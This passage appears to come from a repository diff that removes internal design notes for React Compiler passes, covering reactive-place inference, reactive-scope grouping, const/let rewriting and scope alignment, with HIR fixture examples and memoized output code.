1. Creates node for `{}` at instruction 1 (initially assigned to `a`)
2. Creates node for `{}` at instruction 3 (initially assigned to `b`)
3. At instruction 8, creates alias edge: `b -> a` with index 8
4. At instruction 16, mutations are queued for `a` and `b`
When processing the mutation of `a` at instruction 16:
- Extends `a`'s mutableRange.end to 17
- Traverses backward through alias edge to `b`, extends `b`'s mutableRange.end to 17
- Since `a = b`, both objects must be considered mutable until instruction 17
The output shows identifiers with range annotations like `$25[3:17]` meaning:
- `$25` is the identifier
- `3` is the instruction where it was created
- `17` is the instruction after which it is no longer mutated
For aliased values, the ranges are unified - all values that could be affected by a mutation have their ranges extended to include that mutation point.

View File

@@ -1,169 +0,0 @@
# inferReactivePlaces
## File
`src/Inference/InferReactivePlaces.ts`
## Purpose
Determines which `Place`s (identifiers and temporaries) in the HIR are **reactive** - meaning they may *semantically* change over the course of the component or hook's lifetime. This information is critical for memoization: reactive places form the dependencies that, when changed, should invalidate cached values.
A place is reactive if it derives from any source of reactivity:
1. **Props** - Component parameters may change between renders
2. **Hooks** - Hooks can access state or context which can change
3. **`use` operator** - Can access context which may change
4. **Mutation with reactive operands** - Values mutated in instructions that have reactive operands become reactive themselves
5. **Conditional assignment based on reactive control flow** - Values assigned in branches controlled by reactive conditions become reactive
## Input Invariants
- HIR is in SSA form with phi nodes at join points
- `inferMutationAliasingEffects` and `inferMutationAliasingRanges` have run, establishing:
- Effect annotations on operands (Effect.Capture, Effect.Store, Effect.Mutate, etc.)
- Mutable ranges on identifiers
- Aliasing relationships captured by `findDisjointMutableValues`
- All operands have known effects (asserts on `Effect.Unknown`)
## Output Guarantees
- Every reactive Place has `place.reactive = true`
- Reactivity is transitively complete (derived from reactive → reactive)
- All identifiers in a mutable alias group share reactivity
- Reactivity is propagated to operands used within nested function expressions
## Algorithm
The algorithm uses **fixpoint iteration** to propagate reactivity forward through the control-flow graph:
### Initialization
1. Create a `ReactivityMap` backed by disjoint sets of mutably-aliased identifiers
2. Mark all function parameters as reactive (props are reactive by definition)
3. Create a `ControlDominators` helper to identify blocks controlled by reactive conditions
### Fixpoint Loop
Iterate until no changes occur:
For each block:
1. **Phi Nodes**: Mark phi nodes reactive if:
- Any operand is reactive, OR
- Any predecessor block is controlled by a reactive condition (control-flow dependency)
2. **Instructions**: For each instruction:
- Track stable identifier sources (for hooks like `useRef`, `useState` dispatch)
- Check if any operand is reactive
- Hook calls and `use` operator are sources of reactivity
- If instruction has reactive input:
- Mark lvalues reactive (unless they are known-stable like `setState` functions)
- If instruction has reactive input OR is in reactive-controlled block:
- Mark mutable operands (Capture, Store, Mutate effects) as reactive
3. **Terminals**: Check terminal operands for reactivity
### Post-processing
Propagate reactivity to inner functions (nested `FunctionExpression` and `ObjectMethod`).
## Key Data Structures
### ReactivityMap
```typescript
class ReactivityMap {
hasChanges: boolean = false; // Tracks if fixpoint changed
reactive: Set<IdentifierId> = new Set(); // Set of reactive identifiers
aliasedIdentifiers: DisjointSet<Identifier>; // Mutable alias groups
}
```
- Uses disjoint sets so that when one identifier in an alias group becomes reactive, they all are effectively reactive
- `isReactive(place)` checks and marks `place.reactive = true` as a side effect
- `snapshot()` resets change tracking and returns whether changes occurred
### StableSidemap
```typescript
class StableSidemap {
map: Map<IdentifierId, {isStable: boolean}> = new Map();
}
```
Tracks sources of stability (e.g., `useState()[1]` dispatch function). Forward data-flow analysis that:
- Records hook calls that return stable types
- Propagates stability through PropertyLoad and Destructure from stable containers
- Propagates through LoadLocal and StoreLocal
### ControlDominators
Uses post-dominator frontier analysis to determine which blocks are controlled by reactive branch conditions.
## Edge Cases
### Backward Reactivity Propagation via Mutable Aliasing
```javascript
const x = [];
const z = [x];
x.push(props.input);
return <div>{z}</div>;
```
Here `z` aliases `x` which is later mutated with reactive data. The disjoint set ensures `z` becomes reactive even though the mutation happens after its creation.
### Stable Types Are Not Reactive
```javascript
const [state, setState] = useState();
// setState is stable - not marked reactive despite coming from reactive hook
```
The `StableSidemap` tracks these and skips marking them reactive.
### Ternary with Stable Values Still Reactive
```javascript
props.cond ? setState1 : setState2
```
Even though both branches are stable types, the result depends on reactive control flow, so it cannot be marked non-reactive just based on type.
### Phi Nodes with Reactive Predecessors
When a phi's predecessor block is controlled by a reactive condition, the phi becomes reactive even if its operands are all non-reactive constants.
## TODOs
No explicit TODO comments are present in the source file. However, comments note:
- **ComputedLoads not handled for stability**: Only PropertyLoad propagates stability from containers, not ComputedLoad. The comment notes this is safe because stable containers have differently-typed elements, but ComputedLoad handling could be added.
## Example
### Fixture: `reactive-dependency-fixpoint.js`
**Input:**
```javascript
function Component(props) {
let x = 0;
let y = 0;
while (x === 0) {
x = y;
y = props.value;
}
return [x];
}
```
**Before InferReactivePlaces:**
```
bb1 (loop):
store x$26:TPhi:TPhi: phi(bb0: read x$21:TPrimitive, bb3: read x$32:TPhi)
store y$30:TPhi:TPhi: phi(bb0: read y$24:TPrimitive, bb3: read y$37)
...
bb3 (block):
[12] mutate? $35 = LoadLocal read props$19
[13] mutate? $36 = PropertyLoad read $35.value
[14] mutate? $38 = StoreLocal Reassign mutate? y$37 = read $36
```
**After InferReactivePlaces:**
```
bb1 (loop):
store x$26:TPhi{reactive}:TPhi: phi(bb0: read x$21:TPrimitive, bb3: read x$32:TPhi{reactive})
store y$30:TPhi{reactive}:TPhi: phi(bb0: read y$24:TPrimitive, bb3: read y$37{reactive})
[6] mutate? $27:TPhi{reactive} = LoadLocal read x$26:TPhi{reactive}
...
bb3 (block):
[12] mutate? $35{reactive} = LoadLocal read props$19{reactive}
[13] mutate? $36{reactive} = PropertyLoad read $35{reactive}.value
[14] mutate? $38{reactive} = StoreLocal Reassign mutate? y$37{reactive} = read $36{reactive}
```
**Key observations:**
- `props$19` is marked `{reactive}` as a function parameter
- The reactivity propagates through the loop:
- First iteration: `y$37` becomes reactive from `props.value`
- Second iteration: `x$32` becomes reactive from `y$30` (which is reactive via the phi from `y$37`)
- The phi nodes `x$26` and `y$30` become reactive because their bb3 operands are reactive
- The fixpoint algorithm handles this backward propagation through the loop correctly
- The final output `$40` is reactive, so the array `[x]` will be memoized with `x` as a dependency

View File

@@ -1,176 +0,0 @@
# inferReactiveScopeVariables
## File
`src/ReactiveScopes/InferReactiveScopeVariables.ts`
## Purpose
This is the **1st of 4 passes** that determine how to break a React function into discrete reactive scopes (independently memoizable units of code). Its specific responsibilities are:
1. **Identify operands that mutate together** - Variables that are mutated in the same instruction must be placed in the same reactive scope
2. **Assign a unique ReactiveScope to each group** - Each disjoint set of co-mutating identifiers gets assigned a unique ScopeId
3. **Compute the mutable range** - The scope's range is computed as the union of all member identifiers' mutable ranges
The pass does NOT determine which instructions compute each scope, only which variables belong together.
## Input Invariants
- `InferMutationAliasingEffects` has run - Effects describe mutations, captures, and aliasing
- `InferMutationAliasingRanges` has run - Each identifier has a valid `mutableRange` property
- `InferReactivePlaces` has run - Places are marked as reactive or not
- `RewriteInstructionKindsBasedOnReassignment` has run - Let/Const properly determined
- All instructions have been numbered with valid `InstructionId` values
- Phi nodes are properly constructed at block join points
## Output Guarantees
- Each identifier that is part of a mutable group has its `identifier.scope` property set to a `ReactiveScope` object
- All identifiers in the same scope share the same `ReactiveScope` reference
- The scope's `range` is the union (min start, max end) of all member mutable ranges
- The scope's `range` is validated to be within [1, maxInstruction+1]
- Identifiers that only have single-instruction lifetimes (read once) may not be assigned to a scope unless they allocate
## Algorithm
### Phase 1: Find Disjoint Mutable Values (`findDisjointMutableValues`)
Uses a Union-Find (Disjoint Set) data structure to group identifiers that mutate together:
1. **Handle Phi Nodes**: For each phi in each block:
- If the phi's result is mutated after creation (mutableRange.end > first instruction in block), union the phi with all its operands
- This ensures values that flow through control flow and are later mutated are grouped together
2. **Handle Instructions**: For each instruction:
- Collect mutable operands based on instruction type:
- If lvalue has extended mutable range OR instruction may allocate, include lvalue
- For StoreLocal/StoreContext: Include lvalue if it has extended mutable range, include value if mutable
- For Destructure: Include each pattern operand with extended range, include source if mutable
- For MethodCall: Include all mutable operands plus the computed property (to keep method resolution in same scope)
- For other instructions: Include all mutable operands
- Exclude global variables (mutableRange.start === 0) since they cannot be recreated
- Union all collected operands together
### Phase 2: Assign Scopes
1. Iterate over all identifiers in the disjoint set using `forEach(item, groupIdentifier)`
2. For each unique group, create a new ReactiveScope:
- Generate a unique ScopeId from the environment
- Initialize range from the first member's mutableRange
- Set up empty dependencies, declarations, reassignments sets
3. For subsequent members of the same group:
- Expand the scope's range to encompass the member's mutableRange
- Merge source locations
4. Assign the scope to each identifier: `identifier.scope = scope`
5. Update each identifier's mutableRange to match the scope's range
**Validation**: After scope assignment, validate that all scopes have valid ranges within [1, maxInstruction+1].
## Key Data Structures
### DisjointSet<Identifier>
A Union-Find data structure optimized for grouping items into disjoint sets:
```typescript
class DisjointSet<T> {
#entries: Map<T, T>; // Maps each item to its parent (root points to self)
union(items: Array<T>): void; // Merge items into one set
find(item: T): T | null; // Find the root of item's set (with path compression)
forEach(fn: (item, group) => void): void; // Iterate all items with their group root
}
```
Path compression is used during `find()` to flatten the tree structure, improving subsequent lookup performance.
### ReactiveScope
```typescript
type ReactiveScope = {
id: ScopeId;
range: MutableRange; // [start, end) instruction range
dependencies: Set<ReactiveScopeDependency>; // Inputs (populated later)
declarations: Map<IdentifierId, ReactiveScopeDeclaration>; // Outputs (populated later)
reassignments: Set<Identifier>; // Reassigned variables (populated later)
earlyReturnValue: {...} | null; // For scopes with early returns
merged: Set<ScopeId>; // IDs of scopes merged into this one
loc: SourceLocation;
};
```
## Edge Cases
### Global Variables
Excluded from scopes (mutableRange.start === 0) since they cannot be recreated during memoization.
### Phi Nodes After Mutation
When a phi's result is mutated after the join point, all phi operands must be in the same scope to ensure the mutation can be recomputed correctly.
### MethodCall Property Resolution
The computed property load for a method call is explicitly added to the same scope as the call itself.
### Allocating Instructions
Instructions that allocate (Array, Object, JSX, etc.) add their lvalue to the scope even if the lvalue has a single-instruction range.
### Single-Instruction Ranges
Values with range `[n, n+1)` (used exactly once) are only included if they allocate, otherwise they're just read.
### enableForest Config
When enabled, phi operands are unconditionally unioned with the phi result (even without mutation after the phi).
## TODOs
1. `// TODO: improve handling of module-scoped variables and globals` - The current approach excludes globals entirely, but a more nuanced handling could be beneficial.
2. Known issue with aliasing and mutable lifetimes (from header comments):
```javascript
let x = {};
let y = [];
x.y = y; // RHS is not considered mutable here bc not further mutation
mutate(x); // bc y is aliased here, it should still be considered mutable above
```
This suggests the pass may miss some co-mutation relationships when aliasing is involved.
## Example
### Fixture: `reactive-scope-grouping.js`
**Input:**
```javascript
function foo() {
let x = {};
let y = [];
let z = {};
y.push(z); // y and z co-mutate (z captured into y)
x.y = y; // x and y co-mutate (y captured into x)
return x;
}
```
**After InferReactiveScopeVariables:**
```
[1] mutate? $19_@0[1:14] = Object { } // x's initial object, scope @0
[2] store $21_@0[1:14] = StoreLocal x // x in scope @0
[3] mutate? $22_@1[3:11] = Array [] // y's array, scope @1
[4] store $24_@1[3:11] = StoreLocal y // y in scope @1
[5] mutate? $25_@2 = Object { } // z's object, scope @2
[10] MethodCall y.push(z) // Mutates y, captures z
[13] PropertyStore x.y = y // Mutates x, captures y
```
The `y.push(z)` joins y and z into scope @1, and `x.y = y` joins x and y into scope @0. Because y is now in @0, and z was captured into y, ultimately x, y, and z all end up in the same scope @0.
**Compiled Output:**
```javascript
function foo() {
const $ = _c(1);
let x;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
x = {};
const y = [];
const z = {};
y.push(z);
x.y = y;
$[0] = x;
} else {
x = $[0];
}
return x;
}
```
All three objects (x, y, z) are created within the same memoization block because they co-mutate and could potentially alias each other.

View File

@@ -1,151 +0,0 @@
# rewriteInstructionKindsBasedOnReassignment
## File
`src/SSA/RewriteInstructionKindsBasedOnReassignment.ts`
## Purpose
Rewrites the `InstructionKind` of variable declaration and assignment instructions to correctly reflect whether variables should be declared as `const` or `let` in the final output. It determines this based on whether a variable is subsequently reassigned after its initial declaration.
The key insight is that this pass runs **after dead code elimination (DCE)**, so a variable that was originally declared with `let` in the source (because it was reassigned) may be converted to `const` if the reassignment was removed by DCE. However, variables originally declared as `const` cannot become `let`.
## Input Invariants
- SSA form: Each identifier has a unique `IdentifierId` and `DeclarationId`
- Dead code elimination has run: Unused assignments have been removed
- Mutation/aliasing inference complete: Runs after `InferMutationAliasingRanges` and `InferReactivePlaces` in the main pipeline
- All instruction kinds are initially set (typically `Let` for variables that may be reassigned)
## Output Guarantees
- **First declaration gets `Const` or `Let`**: The first `StoreLocal` for a named variable is marked as:
- `InstructionKind.Const` if the variable is never reassigned after
- `InstructionKind.Let` if the variable has subsequent reassignments
- **Reassignments marked as `Reassign`**: Any subsequent `StoreLocal` to the same `DeclarationId` is marked as `InstructionKind.Reassign`
- **Destructure consistency**: All places in a destructuring pattern must have consistent kinds (all Const or all Reassign)
- **Update operations trigger Let**: `PrefixUpdate` and `PostfixUpdate` operations (like `++x` or `x--`) mark the original declaration as `Let`
## Algorithm
1. **Initialize declarations map**: Create a `Map<DeclarationId, LValue | LValuePattern>` to track declared variables.
2. **Seed with parameters and context**: Add all named function parameters and captured context variables to the map with kind `Let` (since they're already "declared" outside the function body).
3. **Process blocks in order**: Iterate through all blocks and instructions:
- **DeclareLocal**: Record the declaration in the map (invariant: must not already exist)
- **StoreLocal**:
- If not in map: This is the first store, add to map with `kind = Const`
- If already in map: This is a reassignment. Update original declaration to `Let`, set current instruction to `Reassign`
- **Destructure**:
- For each operand in the pattern, check if it's already declared
- All operands must be consistent (all new declarations OR all reassignments)
- Set pattern kind to `Const` for new declarations, `Reassign` for existing ones
- **PrefixUpdate / PostfixUpdate**: Look up the declaration and mark it as `Let` (these always imply reassignment)
## Key Data Structures
```typescript
// Main tracking structure
const declarations = new Map<DeclarationId, LValue | LValuePattern>();
// InstructionKind enum (from HIR.ts)
enum InstructionKind {
Const = 'Const', // const declaration
Let = 'Let', // let declaration
Reassign = 'Reassign', // reassignment to existing binding
Catch = 'Catch', // catch clause binding
HoistedLet = 'HoistedLet', // hoisted let
HoistedConst = 'HoistedConst', // hoisted const
HoistedFunction = 'HoistedFunction', // hoisted function
Function = 'Function', // function declaration
}
```
## Edge Cases
### DCE Removes Reassignment
A `let x = 0; x = 1;` where `x = 1` is unused becomes `const x = 0;` after DCE.
### Destructuring with Mixed Operands
The invariant checks ensure all operands in a destructure pattern are either all new declarations or all reassignments. Mixed cases cause a compiler error.
### Value Blocks with DCE
There's a TODO for handling reassignment in value blocks where the original declaration was removed by DCE.
### Parameters and Context Variables
These are pre-seeded as `Let` in the declarations map since they're conceptually "declared" at function entry.
### Update Expressions
`++x` and `x--` always mark the variable as `Let`, even if used inline.
## TODOs
```typescript
CompilerError.invariant(block.kind !== 'value', {
reason: `TODO: Handle reassignment in a value block where the original
declaration was removed by dead code elimination (DCE)`,
...
});
```
This indicates an edge case where a destructuring reassignment occurs in a value block but the original declaration was eliminated by DCE. This is currently an invariant violation rather than handled gracefully.
## Example
### Fixture: `reassignment.js`
**Input Source:**
```javascript
function Component(props) {
let x = [];
x.push(props.p0);
let y = x;
x = [];
let _ = <Component x={x} />;
y.push(props.p1);
return <Component x={x} y={y} />;
}
```
**Before Pass (InferReactivePlaces output):**
```
[2] StoreLocal Let x$32 = $31 // x is initially marked Let
[9] StoreLocal Let y$40 = $39 // y is initially marked Let
[11] StoreLocal Reassign x$43 = $42 // reassignment already marked
```
**After Pass:**
```
[2] StoreLocal Let x$32 = $31 // x stays Let (has reassignment at line 11)
[9] StoreLocal Const y$40 = $39 // y becomes Const (never reassigned)
[11] StoreLocal Reassign x$43 = $42 // stays Reassign
```
**Final Generated Code:**
```javascript
function Component(props) {
const $ = _c(4);
let t0;
if ($[0] !== props.p0 || $[1] !== props.p1) {
let x = []; // let because reassigned
x.push(props.p0);
const y = x; // const because never reassigned
// ... x = t1; (reassignment)
y.push(props.p1);
t0 = <Component x={x} y={y} />;
// ...
}
return t0;
}
```
The pass correctly identified that `x` needs `let` (since it's reassigned on line 6 of the source) while `y` can use `const` (it's never reassigned after initialization).
## Where This Pass is Called
1. **Main Pipeline** (`src/Entrypoint/Pipeline.ts:322`): Called after `InferReactivePlaces` and before `InferReactiveScopeVariables`.
2. **AnalyseFunctions** (`src/Inference/AnalyseFunctions.ts:58`): Called when lowering inner function expressions as part of the function analysis phase.

View File

@@ -1,131 +0,0 @@
# alignMethodCallScopes
## File
`src/ReactiveScopes/AlignMethodCallScopes.ts`
## Purpose
Ensures that `MethodCall` instructions and their associated `PropertyLoad` instructions (which load the method being called) have consistent scope assignments. The pass enforces one of two invariants:
1. Both the MethodCall lvalue and the property have the **same** reactive scope
2. **Neither** has a reactive scope
This alignment is critical because the PropertyLoad and MethodCall are semantically a single operation (`receiver.method(args)`) and must be memoized together as a unit. If they had different scopes, the generated code would incorrectly try to memoize the property load separately from the method call, which could break correctness.
## Input Invariants
- The function has been converted to HIR form
- `inferReactiveScopeVariables` has already run, assigning initial reactive scopes to identifiers based on mutation analysis
- Each instruction's lvalue has an `identifier.scope` that is either a `ReactiveScope` or `null`
- For `MethodCall` instructions, the `value.property` field contains a `Place` referencing the loaded method
## Output Guarantees
After this pass runs:
- For every `MethodCall` instruction in the function:
- If the lvalue has a scope AND the property has a scope, they point to the **same merged scope**
- If only the lvalue has a scope, the property's scope is set to match the lvalue's scope
- If only the property has a scope, the property's scope is set to `null` (so neither has a scope)
- Merged scopes have their `range` extended to cover the union of the original scopes' ranges
- Nested functions (FunctionExpression, ObjectMethod) are recursively processed
## Algorithm
### Phase 1: Collect Scope Relationships
```
For each instruction in all blocks:
If instruction is a MethodCall:
lvalueScope = instruction.lvalue.identifier.scope
propertyScope = instruction.value.property.identifier.scope
If both have scopes:
Record that these scopes should be merged (using DisjointSet.union)
Else if only lvalue has scope:
Record that property should be assigned to lvalueScope
Else if only property has scope:
Record that property should be assigned to null (no scope)
If instruction is FunctionExpression or ObjectMethod:
Recursively process the nested function
```
### Phase 2: Merge Scopes
```
For each merged scope group:
Pick a "root" scope
Extend root's range to cover all merged scopes:
root.range.start = min(all scope start points)
root.range.end = max(all scope end points)
```
### Phase 3: Apply Changes
```
For each instruction:
If lvalue was recorded for remapping:
Set identifier.scope to the mapped value
Else if identifier has a scope that was merged:
Set identifier.scope to the merged root scope
```
## Key Data Structures
1. **`scopeMapping: Map<IdentifierId, ReactiveScope | null>`**
- Maps property identifier IDs to their new scope assignment
- Value of `null` means the scope should be removed
2. **`mergedScopes: DisjointSet<ReactiveScope>`**
- Union-find data structure tracking scopes that need to be merged
- Used when both MethodCall and property have different scopes
3. **`ReactiveScope`** (from HIR)
- Contains `range: { start: InstructionId, end: InstructionId }`
- The range defines which instructions are part of the scope
## Edge Cases
### Both Have the Same Scope Already
No action needed (implicit in the logic).
### Nested Functions
The pass recursively processes `FunctionExpression` and `ObjectMethod` instructions to handle closures.
### Multiple MethodCalls Sharing Scopes
The DisjointSet handles transitive merging - if A merges with B, and B merges with C, all three end up in the same scope.
### Property Without Scope, MethodCall Without Scope
No action needed (both already aligned at `null`).
## TODOs
There are no explicit TODO comments in the source code.
## Example
### Fixture: `alias-capture-in-method-receiver.js`
**Source code:**
```javascript
function Component() {
let a = someObj();
let x = [];
x.push(a);
return [x, a];
}
```
**Before AlignMethodCallScopes:**
```
[7] store $24_@1[4:10]:TFunction = PropertyLoad capture $23_@1.push
[9] mutate? $26:TPrimitive = MethodCall store $23_@1.read $24_@1(capture $25)
```
- PropertyLoad result `$24_@1` has scope `@1`
- MethodCall result `$26` has no scope (`null`)
**After AlignMethodCallScopes:**
```
[7] store $24[4:10]:TFunction = PropertyLoad capture $23_@1.push
[9] mutate? $26:TPrimitive = MethodCall store $23_@1.read $24(capture $25)
```
- PropertyLoad result `$24` now has **no scope** (the `_@1` suffix removed)
- MethodCall result `$26` still has no scope
**Why this matters:**
Without this alignment, later passes might try to memoize the `.push` property load separately from the actual `push()` call. This would be incorrect because:
1. Reading a method from an object and calling it are semantically one operation
2. The property load's value (the bound method) is only valid immediately when called on the same receiver
3. Separate memoization could lead to stale method references or incorrect this-binding

View File

@@ -1,128 +0,0 @@
# alignObjectMethodScopes
## File
`src/ReactiveScopes/AlignObjectMethodScopes.ts`
## Purpose
Ensures that object method values and their enclosing object expressions share the same reactive scope. This is critical for code generation because JavaScript requires object method definitions to be inlined within their containing object literals. If the object method and object expression were in different reactive scopes (which map to different memoization blocks), the generated code would be invalid since you cannot reference an object method defined in one block from an object literal in a different block.
From the file's documentation:
> "To produce a well-formed JS program in Codegen, object methods and object expressions must be in the same ReactiveBlock as object method definitions must be inlined."
## Input Invariants
- Reactive scopes have been inferred: This pass runs after `InferReactiveScopeVariables`
- ObjectMethod and ObjectExpression have non-null scopes: The pass asserts this with an invariant check
- Scopes are disjoint across functions: The pass assumes that scopes do not overlap between parent and nested functions
## Output Guarantees
- ObjectMethod and ObjectExpression share the same scope: Any ObjectMethod used as a property in an ObjectExpression will have its scope merged with the ObjectExpression's scope
- Merged scope covers both ranges: The resulting merged scope's range is expanded to cover the minimum start and maximum end of all merged scopes
- All identifiers are repointed: All identifiers whose scopes were merged are updated to point to the canonical root scope
- Inner functions are also processed: The pass recursively handles nested ObjectMethod and FunctionExpression values
## Algorithm
### Phase 1: Find Scopes to Merge (`findScopesToMerge`)
1. Iterate through all blocks and instructions in the function
2. Track all ObjectMethod declarations in a set by their lvalue identifier
3. When encountering an ObjectExpression, check each operand:
- If an operand's identifier was previously recorded as an ObjectMethod declaration
- Get the scope of both the ObjectMethod operand and the ObjectExpression lvalue
- Assert both scopes are non-null
- Union these two scopes together in a DisjointSet data structure
### Phase 2: Merge and Repoint Scopes (`alignObjectMethodScopes`)
1. Recursively process inner functions first (ObjectMethod and FunctionExpression values)
2. Canonicalize the DisjointSet to get a mapping from each scope to its root
3. **Step 1 - Merge ranges**: For each scope that maps to a different root:
- Expand the root's range to encompass both the original range and the merged scope's range
- `root.range.start = min(scope.range.start, root.range.start)`
- `root.range.end = max(scope.range.end, root.range.end)`
4. **Step 2 - Repoint identifiers**: For each instruction's lvalue:
- If the identifier has a scope that was merged
- Update the identifier's scope reference to point to the canonical root
## Key Data Structures
1. **DisjointSet<ReactiveScope>** - A union-find data structure that tracks which scopes should be merged together. Uses path compression for efficient `find()` operations.
2. **Set<Identifier>** - Tracks which identifiers are ObjectMethod declarations, used to identify when an ObjectExpression operand is an object method.
3. **ReactiveScope** - Contains:
- `id: ScopeId` - Unique identifier
- `range: MutableRange` - Start and end instruction IDs
- `dependencies` - Inputs to the scope
- `declarations` - Values produced by the scope
4. **MutableRange** - Has `start` and `end` InstructionId fields that define the scope's extent.
## Edge Cases
### Nested Object Methods
When an object method itself contains another object with methods, the pass recursively processes inner functions first before handling the outer function's scopes.
### Multiple Object Methods in Same Object
If an object has multiple method properties, all their scopes will be merged with the object's scope through the DisjointSet.
### Object Methods in Conditional Expressions
Object methods inside ternary expressions still need scope alignment to ensure the method and its containing object are in the same reactive block.
### Method Call After Object Creation
The pass works in conjunction with `AlignMethodCallScopes` (which runs immediately before) to ensure that method calls on objects with object methods are also properly scoped.
## TODOs
None explicitly marked in the source file.
## Example
### Fixture: `object-method-shorthand.js`
**Input:**
```javascript
function Component() {
let obj = {
method() {
return 1;
},
};
return obj.method();
}
```
**Before AlignObjectMethodScopes:**
```
InferReactiveScopeVariables:
[1] mutate? $12_@0:TObjectMethod = ObjectMethod ... // scope @0
[2] mutate? $14_@1[2:7]:TObject = Object { method: ... } // scope @1 (range 2:7)
```
The ObjectMethod `$12` is in scope `@0` while the ObjectExpression `$14` is in scope `@1` with range `[2:7]`.
**After AlignObjectMethodScopes:**
```
AlignObjectMethodScopes:
[1] mutate? $12_@0[1:7]:TObjectMethod = ObjectMethod ... // scope @0, range now 1:7
[2] mutate? $14_@0[1:7]:TObject = Object { method: ... } // also scope @0, range 1:7
```
Both identifiers are in the same scope `@0`, and the scope's range has been expanded to `[1:7]` to cover both instructions.
**Final Generated Code:**
```javascript
function Component() {
const $ = _c(1);
let t0;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
const obj = {
method() {
return 1;
},
};
t0 = obj.method();
$[0] = t0;
} else {
t0 = $[0];
}
return t0;
}
```
The object literal with its method and the subsequent method call are all inside the same memoization block, producing valid JavaScript where the method definition is inlined within the object literal.

View File

@@ -1,177 +0,0 @@
# alignReactiveScopesToBlockScopesHIR
## File
`src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts`
## Purpose
This is the **2nd of 4 passes** that determine how to break a function into discrete reactive scopes (independently memoizable units of code). The pass aligns reactive scope boundaries to control flow (block scope) boundaries.
The problem it solves: Prior inference passes assign reactive scopes to operands based on mutation ranges at arbitrary instruction points in the control-flow graph. However, to generate memoization blocks around instructions, scopes must be aligned to block-scope boundaries -- you cannot memoize half of a loop or half of an if-block.
**Example from the source code comments:**
```javascript
function foo(cond, a) {
// original scope end
// expanded scope end
const x = []; | |
if (cond) { | |
... | |
x.push(a); <--- original scope ended here
... |
} <--- scope must extend to here
}
```
## Input Invariants
- `InferReactiveScopeVariables` has run: Each identifier has been assigned a `ReactiveScope` with a `range` (start/end instruction IDs) based on mutation analysis
- The HIR is in SSA form: Blocks have unique IDs, instructions have unique IDs, and control flow is represented with basic blocks
- Each block has a terminal with possible successors and fallthroughs
- Each scope has a mutable range `{start: InstructionId, end: InstructionId}` indicating when the scope is active
## Output Guarantees
- **Scopes end at valid block boundaries**: A reactive scope may only end at the same block scope level as it began. The scope's `range.end` is updated to the first instruction of the fallthrough block after any control flow structure that the scope overlaps
- **Scopes start at valid block boundaries**: For labeled breaks (gotos to a label), scopes that extend beyond the goto have their `range.start` extended back to include the label
- **Value blocks (ternary, logical, optional) are handled specially**: Scopes inside value blocks are extended to align with the outer block scope's instruction range
## Algorithm
The pass performs a single forward traversal over all blocks:
### 1. Tracking Active Scopes
- Maintains `activeScopes: Set<ReactiveScope>` - scopes whose range overlaps the current block
- Maintains `activeBlockFallthroughRanges: Array<{range, fallthrough}>` - stack of pending block-fallthrough ranges
### 2. Per-Block Processing
For each block:
- Prune `activeScopes` to only those that extend past the current block's start
- If this block is a fallthrough target, pop the range from the stack and extend all active scopes' start to the range start
### 3. Recording Places
For each instruction lvalue and operand:
- If the place has a scope, add it to `activeScopes`
- If inside a value block, extend the scope's range to match the value block's outer range
### 4. Handling Block Fallthroughs
When a terminal has a fallthrough (not a simple branch):
- Extend all active scopes whose `range.end > terminal.id` to at least the first instruction of the fallthrough block
- Push the fallthrough range onto the stack for future scopes
### 5. Handling Labeled Breaks (Goto)
When encountering a goto to a label (not the natural fallthrough):
- Find the corresponding fallthrough range on the stack
- Extend all active scopes to span from the label start to its fallthrough end
### 6. Value Block Handling
For ternary, logical, and optional terminals:
- Create `ValueBlockNode` to track the outer block's instruction range
- Scopes inside value blocks inherit this range, ensuring they align to the outer block scope
## Key Data Structures
```typescript
type ValueBlockNode = {
kind: 'node';
id: InstructionId;
valueRange: MutableRange; // Range of outer block scope
children: Array<ValueBlockNode | ReactiveScopeNode>;
};
type ReactiveScopeNode = {
kind: 'scope';
id: InstructionId;
scope: ReactiveScope;
};
// Tracked during traversal:
activeBlockFallthroughRanges: Array<{
range: InstructionRange;
fallthrough: BlockId;
}>;
activeScopes: Set<ReactiveScope>;
valueBlockNodes: Map<BlockId, ValueBlockNode>;
```
## Edge Cases
### Labeled Breaks
When a `goto` jumps to a label (not the natural fallthrough), scopes must be extended to include the entire labeled block range, preventing the break from jumping out of the scope.
### Value Blocks (Ternary/Logical/Optional)
These create nested "value" contexts. Scopes inside must be aligned to the outer block scope's boundaries, not the value block's boundaries.
### Nested Control Flow
Deeply nested if-statements require the scope to be extended through all levels back to the outermost block where the scope started.
### do-while and try/catch
The terminal's successor might be a block (not value block), which is handled specially.
## TODOs
1. `// TODO: consider pruning activeScopes per instruction` - Currently, `activeScopes` is only pruned at block start points. Some scopes may no longer be active by the time a goto is encountered.
2. `// TODO: add a variant of eachTerminalSuccessor() that visits _all_ successors, not just those that are direct successors for normal control-flow ordering.` - The current implementation uses `mapTerminalSuccessors` which may not visit all successors in all cases.
## Example
### Fixture: `extend-scopes-if.js`
**Input:**
```javascript
function foo(a, b, c) {
let x = [];
if (a) {
if (b) {
if (c) {
x.push(0); // Mutation of x ends here (instruction 12-13)
}
}
}
if (x.length) { // instruction 16
return x;
}
return null;
}
```
**Before AlignReactiveScopesToBlockScopesHIR:**
```
x$23_@0[1:13] // Scope range 1-13
```
The scope for `x` ends at instruction 13 (inside the innermost if block).
**After AlignReactiveScopesToBlockScopesHIR:**
```
x$23_@0[1:16] // Scope range extended to 1-16
```
The scope is extended to instruction 16 (the first instruction after all the nested if-blocks), aligning to the block scope boundary.
**Generated Code:**
```javascript
function foo(a, b, c) {
const $ = _c(4);
let x;
if ($[0] !== a || $[1] !== b || $[2] !== c) {
x = [];
if (a) {
if (b) {
if (c) {
x.push(0);
}
}
}
// Scope ends here, after ALL the if-blocks
$[0] = a;
$[1] = b;
$[2] = c;
$[3] = x;
} else {
x = $[3];
}
// Code outside the scope
if (x.length) {
return x;
}
return null;
}
```
The memoization block correctly wraps the entire nested if-structure, not just part of it.

View File

@@ -1,134 +0,0 @@
# mergeOverlappingReactiveScopesHIR
## File
`src/HIR/MergeOverlappingReactiveScopesHIR.ts`
## Purpose
This pass ensures that reactive scope ranges form valid, non-overlapping blocks in the output JavaScript program. It merges reactive scopes that would otherwise be inconsistent with each other due to:
1. **Overlapping ranges**: Scopes whose instruction ranges partially overlap (not disjoint and not nested) must be merged because the compiler cannot produce valid `if-else` memo blocks for overlapping scopes.
